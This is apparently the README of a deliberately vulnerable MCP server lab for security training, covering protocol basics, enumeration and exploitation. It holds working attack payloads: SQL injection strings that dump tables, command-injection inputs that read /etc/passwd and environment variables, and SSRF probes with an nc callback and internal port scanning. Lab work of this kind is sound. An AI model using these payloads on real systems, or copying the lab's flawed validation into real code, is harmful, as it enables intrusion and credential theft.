A self-hosted, intentionally vulnerable MCP (Model Context Protocol) server for security research and education. This lab demonstrates how MCP servers can be enumerated, interacted with, and exploited using common vulnerability classes.

WARNING: This lab is intentionally vulnerable. Run it in an isolated environment only. Do not expose it to the internet.
Table of Contents
- What is MCP?
- Lab Architecture
- Quick Start
- Part 1 — Understanding the MCP Protocol
- Part 2 — Enumerating an MCP Server
- Part 3 — Exploiting Vulnerable MCP Servers
- Teardown
What is MCP?
The Model Context Protocol (MCP) is a JSON-RPC 2.0-based protocol that standardizes how LLM applications communicate with external tools and data sources. An MCP server exposes three core capability types to clients:
| Capability | Purpose | Client Methods |
|---|---|---|
| Resources | Static or dynamic data endpoints (read-only) | list_resources(), read_resource(uri) |
| Resource Templates | Parameterized resources with URI variables | list_resource_templates(), read_resource(uri) |
| Tools | Callable functions that perform actions | list_tools(), call_tool(name, args) |
MCP communication flows through two phases:
Initialization Phase
- Client → Server —
initializerequest containing the protocol version, client capabilities, and client info. - Server → Client —
initializeresponse confirming the version and advertising server capabilities (which of prompts/resources/tools it supports). - Client → Server —
notifications/initializednotification signaling readiness.
Operation Phase
Standard JSON-RPC 2.0 request/response pairs:
| Action | JSON-RPC Method |
|---|---|
| List resources | resources/list |
| Read a resource | resources/read |
| List resource templates | resources/templates/list |
| List tools | tools/list |
| Call a tool | tools/call |
All messages are transported over Streamable HTTP — JSON-RPC payloads inside standard HTTP POST requests to the /mcp/ endpoint.
Why MCP Servers Are Interesting Targets
MCP servers operate independently from any LLM integration. While they are designed to be accessed by LLM-powered clients, anyone with network access to the server can interact directly with its capabilities using a simple Python script — no jailbreaking, no prompt manipulation, just raw JSON-RPC over HTTP.
Lab Architecture
┌─────────────┐ ┌──────────────────┐ ┌───────────┐
│ Attacker │ HTTP │ mcp-server │ MySQL │ db │
│ (client) │────────▶│ :8000/mcp/ │────────▶│ MariaDB │
│ │ │ │ │ :3306 │
└─────────────┘ └──────────────────┘ └───────────┘
| Container | Image | Role |
|---|---|---|
mcp-server | Python 3.12 + fastmcp | Vulnerable MCP server |
db | MariaDB 11 | Backend database with seed data + flag |
Server Capabilities
| Type | URI / Name | Vulnerability |
|---|---|---|
| Resource | resource://logs | Information Disclosure |
| Resource | resource://stats | — |
| Resource Template | credential://{service} | SQL Injection (MariaDB) |
| Resource Template | note://{note_id} | IDOR |
| Tool | store_credential(service, username, password) | — |
| Tool | server_health(check_type) | Command Injection |
| Tool | fetch_update(url) | SSRF |
Quick Start
Prerequisites
- Docker & Docker Compose
- Python 3.10+
1. Start the Lab
git clone https://github.com/hardsoftsecurity/vulnerable-mcp-lab.git
cd vulnerable-mcp-lab
docker compose up --build -d
Verify the server is running:
curl -s http://localhost:8000/mcp/ -X POST \
-H "Content-Type: application/json" \
-d '{"jsonrpc":"2.0","id":0,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"curl","version":"1.0"}}}' | python3 -m json.tool
2. Set Up the Client
python3 -m venv venv
source venv/bin/activate
pip install -r client/requirements.txt
3. Run the Full Exploit Chain
python3 client/exploit.py http://localhost:8000/mcp/
Part 1 — Understanding the MCP Protocol
JSON-RPC 2.0 Message Format
Every MCP message follows the JSON-RPC 2.0 specification:
Request:
{
"jsonrpc": "2.0",
"id": 1,
"method": "resources/list"
}
Response:
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"resources": [
{
"uri": "resource://logs",
"name": "get_logs",
"description": "Provides the VaultMCP server logs."
}
]
}
}
Error:
{
"jsonrpc": "2.0",
"id": 2,
"error": {
"code": 0,
"message": "Database error: 1064 (42000): You have an error in your SQL syntax..."
}
}
The fastmcp Library
The fastmcp Python package abstracts the JSON-RPC protocol into simple decorators (server-side) and async methods (client-side):
Server-side decorators:
@mcp.resource("resource://logs") # static resource
@mcp.resource("cred://{service}") # resource template (parameterized)
@mcp.tool() # callable tool
The library auto-derives capability names from the function name, parameter schemas from the function signature, and descriptions from the docstring.
Client-side methods:
client = Client("http://target:8000/mcp/")
async with client:
await client.list_resources() # resources/list
await client.read_resource("resource://x") # resources/read
await client.list_tools() # tools/list
await client.call_tool("name", {"k": "v"}) # tools/call
Analyzing MCP Traffic
You can inspect the raw JSON-RPC messages with Wireshark (filter: http) or mitmproxy since all communication is plain HTTP POST to /mcp/.
Part 2 — Enumerating an MCP Server
Enumeration is always the first step. This maps the entire attack surface before testing anything.
Recon Script
import asyncio
from fastmcp import Client
client = Client("http://localhost:8000/mcp/")
async def main():
async with client:
print("[*] Resources:")
for r in await client.list_resources():
print(f" URI: {r.uri}")
print(f" Desc: {r.description}\n")
print("[*] Resource Templates:")
for rt in await client.list_resource_templates():
print(f" URI: {rt.uriTemplate}")
print(f" Desc: {rt.description}\n")
print("[*] Tools:")
for t in await client.list_tools():
params = list(t.inputSchema.get("properties", {}).keys())
print(f" {t.name}({', '.join(params)})")
print(f" Desc: {t.description}\n")
asyncio.run(main())
What to Look For
| Signal | Implication |
|---|---|
Resources named logs, debug, config | Information disclosure |
| Resource templates with user-controlled URI parameters | Injection candidates (SQLi, path traversal) |
| Templates described as «fetching from API/database» | Backend interaction — test for SQLi |
Tools accepting command, cmd, query parameters | Command injection candidates |
Tools accepting url, endpoint, host parameters | SSRF candidates |
Sequential numeric IDs in templates ({id}, {doc_id}) | IDOR candidates |
Part 3 — Exploiting Vulnerable MCP Servers
3.1 Information Disclosure
Target: resource://logs
result = await client.read_resource("resource://logs")
print(result[0].text)
Why it matters: Server logs often leak internal URLs, database queries, valid data values, error details, and sometimes credentials. In VaultMCP, the logs reveal the database host, the internal API URL, and full SQL queries — including those with injection payloads, which confirm the DBMS type.
What to look for:
- Internal hostnames, IPs, and port numbers
- API keys or tokens in logged HTTP requests
- Query strings that reveal database structure
- Error stack traces with file paths
3.2 IDOR (Insecure Direct Object Reference)
Target: note://{note_id}
for note_id in range(1, 10):
result = await client.read_resource(f"note://{note_id}")
print(result[0].text)
Why it matters: The resource accepts a numeric ID with no authorization check. Any client can iterate IDs to access notes belonging to other users. In VaultMCP, this exposes admin‘s server credentials and bob‘s API keys.
3.3 SQL Injection
Target: credential://{service}
The service parameter is concatenated directly into a SQL query without sanitization.
First step — Confirm the vulnerability:
# Single quote triggers a SQL syntax error
await client.read_resource("credential://test'%23")
# Error confirms MariaDB: "1064 (42000): You have an error in your SQL syntax..."
The %23 is URL-encoded #, the MariaDB line comment character. We use # instead of -- because MariaDB requires a trailing space after -- for it to act as a comment, and URL-encoded spaces can behave inconsistently in URI parsing.
Second step — Determine column count:
for i in range(1, 10):
try:
await client.read_resource(f"credential://x'%20ORDER%20BY%20{i}%23")
except:
print(f"Column count: {i - 1}")
break
Third step — Enumerate tables:
result = await client.read_resource(
"credential://x'%20UNION%20SELECT%20table_name,NULL%20"
"FROM%20information_schema.tables%20WHERE%20table_schema=database()%20"
"LIMIT%201%20OFFSET%200%23"
)
Fourth step — Enumerate columns:
Use hex-encoded table names to avoid quote conflicts inside the URI:
# 'flag' = 0x666c6167
result = await client.read_resource(
"credential://x'%20UNION%20SELECT%20column_name,NULL%20"
"FROM%20information_schema.columns%20WHERE%20table_name=0x666c6167%20"
"LIMIT%201%20OFFSET%200%23"
)
Fifth step— Dump the flag:
result = await client.read_resource(
"credential://x'%20UNION%20SELECT%20flag,NULL%20FROM%20flag%20LIMIT%201%23"
)
print(result[0].text)
URI Encoding Reference:
| Character | Encoded | Purpose |
|---|---|---|
| (space) | %20 | Separate SQL keywords (raw spaces fail Pydantic URI validation) |
# | %23 | MariaDB line comment |
' | ' | SQL string delimiter (not encoded) |
| table names | 0x<hex> | Avoid nested quotes in WHERE clauses |
3.4 Command Injection
Target: server_health(check_type) tool
The tool claims to whitelist commands to disk, memory, and uptime. However, the validation only checks if the whitelisted keyword is contained in the input string — and the full input is passed to os.popen().
# Legitimate call
await client.call_tool("server_health", {"check_type": "uptime"})
# Injection: 'uptime' is in the string, so validation passes
# ';id' is appended and executed by the shell
await client.call_tool("server_health", {"check_type": "uptime;id"})
# Returns: uid=0(root) gid=0(root) groups=0(root)
# Read /etc/passwd
await client.call_tool("server_health", {"check_type": "uptime;cat /etc/passwd"})
# Dump environment variables (may contain DB credentials)
await client.call_tool("server_health", {"check_type": "uptime;env"})
Why the bypass works: The server checks if name in check_type instead of if check_type == name. The string "uptime;id" contains "uptime", so validation passes. The entire string is then executed in a shell via os.popen().
3.5 SSRF (Server-Side Request Forgery)
Target: fetch_update(url) tool
The tool fetches any URL from the server’s network context without validation.
Confirm with an external listener:
# On your machine
nc -lnvp 9001
await client.call_tool("fetch_update", {"url": "http://<YOUR_IP>:9001/ssrf"})
Internal port scanning:
for port in [22, 80, 3306, 5432, 6379, 8080]:
try:
result = await client.call_tool("fetch_update", {
"url": f"http://127.0.0.1:{port}"
})
print(f"[+] Port {port} — OPEN")
except Exception as e:
if "Connection refused" in str(e):
print(f"[-] Port {port} — CLOSED")
Access internal services: The MCP server runs in Docker alongside a MariaDB container named db. The SSRF allows probing this internal service:
await client.call_tool("fetch_update", {"url": "http://db:3306"})
Teardown
docker compose down -v
The -v flag removes the database volume so no data persists.